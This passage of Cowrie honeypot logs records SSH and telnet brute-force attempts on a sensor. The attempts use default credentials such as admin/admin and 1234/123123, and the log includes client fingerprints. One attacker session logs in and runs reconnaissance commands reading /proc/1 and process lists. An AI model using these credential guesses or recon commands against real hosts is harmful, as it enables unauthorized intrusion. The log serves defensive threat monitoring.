-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:15:24.366253Z","src_ip":"159.203.92.129","session":"0dfeceb6ba28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"123","message":"login attempt [1234/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:15:24.380911Z","src_ip":"159.203.92.129","session":"0dfeceb6ba28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:15:25.388669Z","src_ip":"159.203.92.129","session":"0dfeceb6ba28","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:15:30.042637Z","src_ip":"31.56.209.39","session":"90c9f2f1e095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"c118de82e19e5384f50f9bfd36c1a5dc","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: c118de82e19e5384f50f9bfd36c1a5dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:15:30.047077Z","src_ip":"31.56.209.39","session":"90c9f2f1e095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54464,"dst_ip":"159.203.135.109","dst_port":22,"session":"20ca0f41e95f","protocol":"ssh","message":"New connection: 159.203.92.129:54464 (159.203.135.109:22) [session: 20ca0f41e95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:08.409370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:08.413539Z","src_ip":"159.203.92.129","session":"20ca0f41e95f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:08.418183Z","src_ip":"159.203.92.129","session":"20ca0f41e95f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"123123","message":"login attempt [1234/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:08.430498Z","src_ip":"159.203.92.129","session":"20ca0f41e95f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:09.436795Z","src_ip":"159.203.92.129","session":"20ca0f41e95f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":55168,"dst_ip":"10.17.0.5","dst_port":22,"session":"9872d6f5ba2e","protocol":"ssh","message":"New connection: 27.119.7.6:55168 (10.17.0.5:22) [session: 9872d6f5ba2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:17.309780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:17.373917Z","src_ip":"27.119.7.6","session":"9872d6f5ba2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:17.553211Z","src_ip":"27.119.7.6","session":"9872d6f5ba2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn123","message":"login attempt [openvpn/openvpn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:18.290374Z","src_ip":"27.119.7.6","session":"9872d6f5ba2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:19.476443Z","src_ip":"27.119.7.6","session":"9872d6f5ba2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.235.180.95","src_port":59590,"dst_ip":"159.203.135.109","dst_port":23,"session":"5226e0fb05ea","protocol":"telnet","message":"New connection: 99.235.180.95:59590 (159.203.135.109:23) [session: 5226e0fb05ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:28.978391Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:30.325312Z","src_ip":"31.56.209.39","session":"90c9f2f1e095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.235.180.95","src_port":59708,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc4269f19e64","protocol":"telnet","message":"New connection: 99.235.180.95:59708 (159.203.135.109:23) [session: dc4269f19e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:32.897166Z"}
{"eventid":"cowrie.session.closed","duration":4.398755073547363,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:37.295820Z","src_ip":"99.235.180.95","session":"dc4269f19e64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.38.67.139","src_port":40005,"dst_ip":"10.17.0.5","dst_port":23,"session":"406de67883fe","protocol":"telnet","message":"New connection: 207.38.67.139:40005 (10.17.0.5:23) [session: 406de67883fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:42.499618Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.164.253","src_port":39460,"dst_ip":"10.17.0.5","dst_port":23,"session":"a41d5bb8828e","protocol":"telnet","message":"New connection: 154.0.164.253:39460 (10.17.0.5:23) [session: a41d5bb8828e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:45.661056Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.0.164.253","src_port":39476,"dst_ip":"10.17.0.5","dst_port":23,"session":"a67fcbbc8d11","protocol":"telnet","message":"New connection: 154.0.164.253:39476 (10.17.0.5:23) [session: a67fcbbc8d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:45.685254Z"}
{"eventid":"cowrie.client.size","width":40,"height":80,"message":"Terminal Size: 40 80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:46.583101Z","src_ip":"31.56.209.39","session":"90c9f2f1e095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.254.151.65","src_port":41914,"dst_ip":"10.17.0.5","dst_port":23,"session":"616e2a30ea15","protocol":"telnet","message":"New connection: 27.254.151.65:41914 (10.17.0.5:23) [session: 616e2a30ea15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:47.327471Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.38.67.139","src_port":40100,"dst_ip":"10.17.0.5","dst_port":23,"session":"07cded587f01","protocol":"telnet","message":"New connection: 207.38.67.139:40100 (10.17.0.5:23) [session: 07cded587f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:47.517166Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:51.245900Z","src_ip":"31.56.209.39","session":"90c9f2f1e095","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41880,"dst_ip":"159.203.135.109","dst_port":22,"session":"677eaafbf050","protocol":"ssh","message":"New connection: 159.203.92.129:41880 (159.203.135.109:22) [session: 677eaafbf050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:52.096537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:52.101091Z","src_ip":"159.203.92.129","session":"677eaafbf050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:52.104979Z","src_ip":"159.203.92.129","session":"677eaafbf050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234","message":"login attempt [1234/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:52.116292Z","src_ip":"159.203.92.129","session":"677eaafbf050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:16:53.126272Z","src_ip":"159.203.92.129","session":"677eaafbf050","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"cat /proc/1/mounts && ls /proc/1/; curl2; ps aux; ps\" | sh","message":"CMD: echo \"cat /proc/1/mounts && ls /proc/1/; curl2; ps aux; ps\" | sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:00.981772Z","src_ip":"31.56.209.39","session":"90c9f2f1e095","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/1/mounts && ls /proc/1/; curl2; ps aux; ps\n","message":"CMD: cat /proc/1/mounts && ls /proc/1/; curl2; ps aux; ps\n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:00.985624Z","src_ip":"31.56.209.39","session":"90c9f2f1e095","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"curl2 ","message":"Command not found: curl2 ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:00.988925Z","src_ip":"31.56.209.39","session":"90c9f2f1e095","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:00.998473Z","src_ip":"31.56.209.39","session":"90c9f2f1e095","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.932448863983154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:13.431922Z","src_ip":"207.38.67.139","session":"406de67883fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.471792697906494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:16.156928Z","src_ip":"154.0.164.253","session":"a67fcbbc8d11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50488042831421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:16.165829Z","src_ip":"154.0.164.253","session":"a41d5bb8828e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.536486387252808,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:17.863847Z","src_ip":"27.254.151.65","session":"616e2a30ea15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92479968070984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:18.441860Z","src_ip":"207.38.67.139","session":"07cded587f01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"78.128.112.74","src_port":43880,"dst_ip":"159.203.135.109","dst_port":22,"session":"f80ed40dac10","protocol":"ssh","message":"New connection: 78.128.112.74:43880 (159.203.135.109:22) [session: f80ed40dac10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:27.852912Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:28.077927Z","src_ip":"78.128.112.74","session":"f80ed40dac10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:28.081683Z","src_ip":"78.128.112.74","session":"f80ed40dac10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1q2w3e","message":"login attempt [user/1q2w3e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:29.403811Z","src_ip":"78.128.112.74","session":"f80ed40dac10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:30.524909Z","src_ip":"78.128.112.74","session":"f80ed40dac10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60544,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3bc6f6d2d3c","protocol":"ssh","message":"New connection: 159.203.92.129:60544 (159.203.135.109:22) [session: a3bc6f6d2d3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:35.081322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:17:35.085691Z","src_ip":"159.203.92.129","session":"a3bc6f6d2d3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","